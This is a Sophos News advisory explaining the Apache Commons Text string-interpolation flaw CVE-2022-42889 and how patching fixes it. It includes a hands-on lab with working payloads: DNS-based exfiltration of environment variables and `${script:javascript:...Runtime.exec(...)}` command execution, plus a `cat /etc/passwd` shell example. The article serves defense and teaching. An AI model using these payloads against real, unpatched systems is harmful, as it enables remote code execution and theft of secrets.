Site icon Sophos News

Dangerous hole in Apache Commons Text – like Log4Shell all over again

  • Paul Ducklin

    • Java programmers love string interpolation features.

    If you’re not a coder, you’re probably confused by the word “interpolation” here, because it’s been borrowed as programming jargon where it’s not a very good linguistic fit…

    …but the idea is simple, very powerful, and sometimes spectacularly dangerous.

    In other programming ecosystems it’s often known simply as string substitution, where string is shorthand for a bunch of characters, usually meant for displaying or printing out, and substitution means exactly what it says.

    For example, in the Bash command shell, if you run the command:

    $ echo USER

    …you will get the output:

    USER

    But if you write:

    $ echo ${USER}

    …you will get something like this instead:

    duck

    …because the magic character sequence ${USER} means to look in the environment (a memory-based collection of data values typically storing the computer name, current username, TEMP directory, command path and so on), retrieve the value of the variable USER (by convention, the current user’s login name), and use that instead.

    Similarly, the command:

    echo cat /etc/passwd

    …prints out exactly what’s on the command line, thus producing:

    cat /etc/passwd

    …while the very similar-looking command:

    $ echo $(cat /etc/passwd)

    …contains a magic $(...) sequence, with round brackets instead of squiggly ones, which means to execute the text inside the brackets as a system command, collect up the output, and write that out as a continous chunk of text instead.

    In this case, you’ll get back a slightly garbled dump of the username file (despite the name, no password data is stored in /etc/passwd any more), something like this:

    root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:
daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:
7:lp:/var/spool/lpd:/bin/false [...TRUNCATED...]

    The risks of untrusted input

    As you can imagine, allowing untrusted input, such as data submitted in a web form or content extracted from an email, to be processed by a part of your program that performs substitution or interpolation can be a cybersecurity nightmare.

    If you aren’t careful, simply preparing a text message to be printed out to a logfile could trigger a whole load of unwanted side-effects in your app.

    These could include, at increasing levels of danger:

    As you no doubt remember from Log4Shell, unnecessary “features” in an Apache programming library called Log4J (Logging For Java) suddenly made all these scenarios possible on any server where an unpatched version of Log4J was installed.

    If you can’t read the text clearly here, try using Full Screen mode, or watch directly on YouTube. Click on the cog in the video player to speed up playback or to turn on subtitles.

    Not just internet-facing servers

    Worse, problems such as the Log4shell bug aren’t neatly confined only to servers that are directly at your network edge, such as your web servers.

    When Log4Shell hit, the initial reaction from lots of organisations was to say, “We don’t have any Java-based web servers, because we only use Java in our internal business logic, so we think we’re immune to this one.”

    But any server to which user data was ultimately forwarded for processing – even secure servers that were off-limits to connections from outsiders – could be affected if that server [A] had an unpatched version of Log4J installed, and [B] kept logs of data that oroiginated from outside.

    A user who pretended their name was ${env:USER}, for example, would typically get logged by the Log4J code under the name of the server account doing the processing, if the app didn’t take the precaution of checking for dangerous characters in the input data first.

    Sadly, history repeated itself in July 2022, when an open source Java toolkit called Apache Commons Configurator turned out to have similar string interpolation dangers:

    https://nakedsecurity.sophos.com/2022/07/08/apache-commons-configuration-toolkit-patches-log4shell-like-bug/

    Third time unlucky

    And history is repeating itself again in October 2022, with a third Java source code library called Apache Commons Text picking up a CVE for reckless string interpolation behaviour.

    This time, the bug is denoted as follows:

    CVE-2022-42889: Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults.

    Commons Text is a general-purpose text manipulation toolkit, described simply as “a library focused on algorithms working on strings”.

    Even if you are a programmer who hasn’t knowingly chosen to use it yourself, you may have inherited it as a dependency – part of the software supply chain – from other components you are using.

    And even if you don’t code in Java, or aren’t a programmer at all, you may have one or more applications on your own computer, or installed on your backend business servers, that include compoents written in Java.

    What went wrong?

    The Commons Text toolkit includes a handy Java component known as a StringSubstitutor object, created with a Java command like this:

    StringSubstitutor interp = StringSubstitutor.createInterpolator();

    Once you’ve created an interpolator, you can use it to rewrite input data in handy ways, such as like this:

    String str = "You have-> ${java:version}";
String rep = interp.replace(str);

Example output:   You have-> Java version 19


String str = "You are-> ${env:USER}";
String rep = interp.replace(str);

Example output:   You are-> duck

    The replace() function processes its input string as if it’s a kind of simple software program in its own right, copying the characters one-by-one except for a variety of special embedded ${...} commands that are very similar to the ones used in Log4J.

    Examples from the documentation (derived directly from the source code file String­Substitutor.java) include:

    Programming function   Example
--------------------   ----------------------------------
Base64 Decoder:        ${base64Decoder:SGVsbG9Xb3JsZCE=}
Base64 Encoder:        ${base64Encoder:HelloWorld!}
Java Constant:         ${const:java.awt.event.KeyEvent.VK_ESCAPE}
Date:                  ${date:yyyy-MM-dd}  
DNS:                   ${dns:address|apache.org}
Environment Variable:  ${env:USERNAME}
File Content:          ${file:UTF-8:src/test/resources/document.properties}
Java:                  ${java:version} 
Script:                ${script:javascript:3 + 4} 
URL Content (HTTP):    ${url:UTF-8:http://www.apache.org}
URL Content (HTTPS):   ${url:UTF-8:https://www.apache.org}

    The dns, script and url functions are particularly dangerous, because they could lead to untrusted data, received from outside your network but processed or logged on one of the business logic servers inside your network, doing the following:

    dns:     Lookup a server name and replace the ${...} string with the given value returned. If attackers use a domain name they themselves own and control, then this lookup will terminate at a DNS server of their choosing, which could help them to map out internal parts of your network. (The owner of a domain name is, in fact, obliged to provide whats known as definititive DNS data for that domain.)

url:     Lookup a server name, connect to it using HTTP or HTTPS, and use what's send back instead of the string ${...}. The danger posed by this behaviour depends on what the replacement string is used for.

script:  Run a command of the attacker's choosing. We were only able to get this function to work with older versions of Java, because there's no longer a JavaScript engine built into Java itself. But many companies and apps still use old-but-still-supported Java versions such as 1.8 (JDK 8) and 11.0 (JDK 11), on which the dangerous ${script:javascript:...} remote code execution interpolation trick works just fine.

-----

String str = "DNS lookup-> ${dns:address|nakedsecurity.sophos.com}";
String rep = interp.replace(str);

Output:   DNS lookup-> 192.0.66.227

-----

String str =  "Stuff sucked from web-> ---BEGIN---${url:UTF8:https://example.com}---END---"
String rep = interp.replace(str);

Output:   Stuff sucked frob web-> ---BEGIN---<!doctype html>
<html>
<head>
    <title>Example Domain</title>
    . . .
</head>

<body>
<div>
    <h1>Example Domain</h1>
    [. . .]
</div>
</body>
</html>---END---

-----

String str = "Run some code-> ${script:javascript:6*7}"
String rep = interp.replace(str);

Output:   Run some code-> 42

    What to do?

    Don’t forget that you may find multiple copies of the Common Text component on each computer you search, because many Java apps bring their own versions of libraries, and of Java itself, in order to keep precise control over what code they actually use.

    That’s good for reliability, and avoids what’s known in Windows as DLL hell or dependency disaster, but not quite as good when it comes to updating, because you can’t simply update a single, centrally managed system file and thus patch the entire computer at once.

    DO TRY THIS AT HOME

    Using an old (but still widely-used) Java version, JDK 8u342:

$ java -version
openjdk version "1.8.0_342-342"
OpenJDK Runtime Environment (build 1.8.0_342-342-b07)
OpenJDK 64-Bit Server VM (build 25.342-b07, mixed mode)

We'll use this Java code, saved as TryInterp.java:

---cut here---
import org.apache.commons.text.StringSubstitutor;

public class TryInterp {
   static StringSubstitutor interp = StringSubstitutor.createInterpolator();

   public static void main(String... args) {
      interp.setEnableSubstitutionInVariables(true);
      String str = args.length > 0 ? args[0] : "${java:version}";
      String rep = interp.replace(str);
      System.out.printf("str = %s\n",str);
      System.out.printf("rep = %s\n",rep);
   }
}
---cut here---

Install commons-text-1.9.jar (unpatched), commons-text-1.10.0.jar (fixed)
and the supply-chain dependency commons-lang3-3.12.0.jar in the current
directory.

Compile the code:

$ CLASSPATH=./commons-text-1.9.jar javac TryInterp.java


Now run the compiled TryInterp.class file. With older Javas, you need to 
compile first, and you need to add the current directory to the classpath
so that the Java runtime can find the compiled file. We'll force Java to
use the unpatched Commons Text version (1.9).

With no command-line arguments, our code uses a default input of 
"${java:version}" and interpolates that:

$ export CLASSPATH=.:./commons-text-1.9.jar:./commons-lang3-3.12.0.jar 
$ java TryInterp
str = ${java:version}
rep = Java version 1.8.0_342-342


More ambitiously:

$ java TryInterp '${env:USER}'
str = ${env:USER}
rep = duck

$ java TryInterp '${dns:address|duck.com}'
str = ${dns:address|duck.com}
rep = 52.142.124.215

$ java TryInterp '${dns:address|${env:USER}.com}'
str = ${dns:address|${env:USER}.com}
rep = 52.142.124.215

$ NEST=USER java TryInterp '${env:${env:NEST}}'
str = ${env:${env:NEST}}
rep = duck


Note how the (non-default) setting of EnableSubstitutionInVariables=true
in the Java code above makes nested subtitutions work, so that we can
put one interpolation inside another, and the interpolations will be 
triggered in turn. This makes exfiltrating environment variable values
via DNS lookups easy, as shown above. We can also use environment
variables to identify environment variables of interest.

Now let's get even more ambitious, given that the JDK 8 includes a 
built-in JavaScript interpreter called "nashorn" that allows us to exploit
the ${script:...} interpolator:

$ java TryInterp '${script:javascript:"hello"+" "+"world"}'
str = ${script:javascript:"hello"+" "+"world"}
rep = hello world


We can go further than that (script suggestion due to @theempire_h 
at https://twitter.com/theempire_h/status/1581979893868662785):

java TryInterp '${script:javascript:java.lang.Runtime.getRuntime().exec("echo hello")}'
str = ${script:javascript:java.lang.Runtime.getRuntime().exec("echo hello")}
rep = java.lang.UNIXProcess@2145433b


The interpolated string isn't the output of the command that was run via 
exec(), but an identifier for the sub-process created, from which we infer
that RCE is possible. Let's try something with a more visible side-effect:

$ java TryInterp '${script:javascript:java.lang.Runtime.getRuntime().exec("xcalc -rpn")}'
str = ${script:javascript:java.lang.Runtime.getRuntime().exec("xcalc -rpn")}
rep = java.lang.UNIXProcess@2145433b


You should see a calculator window pop up. (On Windows, try CALC.EXE instead.)


    Let's satisfy ourselves that commmons-text-1.10.0 mitigates at least some 
of these tricks.

Switch up to the patched version by changing the classpath:

$ export CLASSPATH=.:./commons-text-1.10.jar:./commons-lang3-3.12.0.jar


Note how the dns interpolator no longer works, so the uninterpolated 
string is returned unmodified instead:

$ java TryInterp '${dns:address|duck.com}'
str = ${dns:address|duck.com}
rep = ${dns:address|duck.com}


Scripts don't run by default any more, either:

$ java TryInterp '${script:javascript:java.lang.Runtime.getRuntime().exec("xcalc -rpn")}'
str = ${script:javascript:java.lang.Runtime.getRuntime().exec("xcalc -rpn")}
rep = ${script:javascript:java.lang.Runtime.getRuntime().exec("xcalc -rpn")}


And the url interpolator we tried out in the main article above is also blocked:

$ java TryInterp '${url:UTF8:https://example.com}'
str = ${url:UTF8:https://example.com}
rep = ${url:UTF8:https://example.com}
    Exit mobile version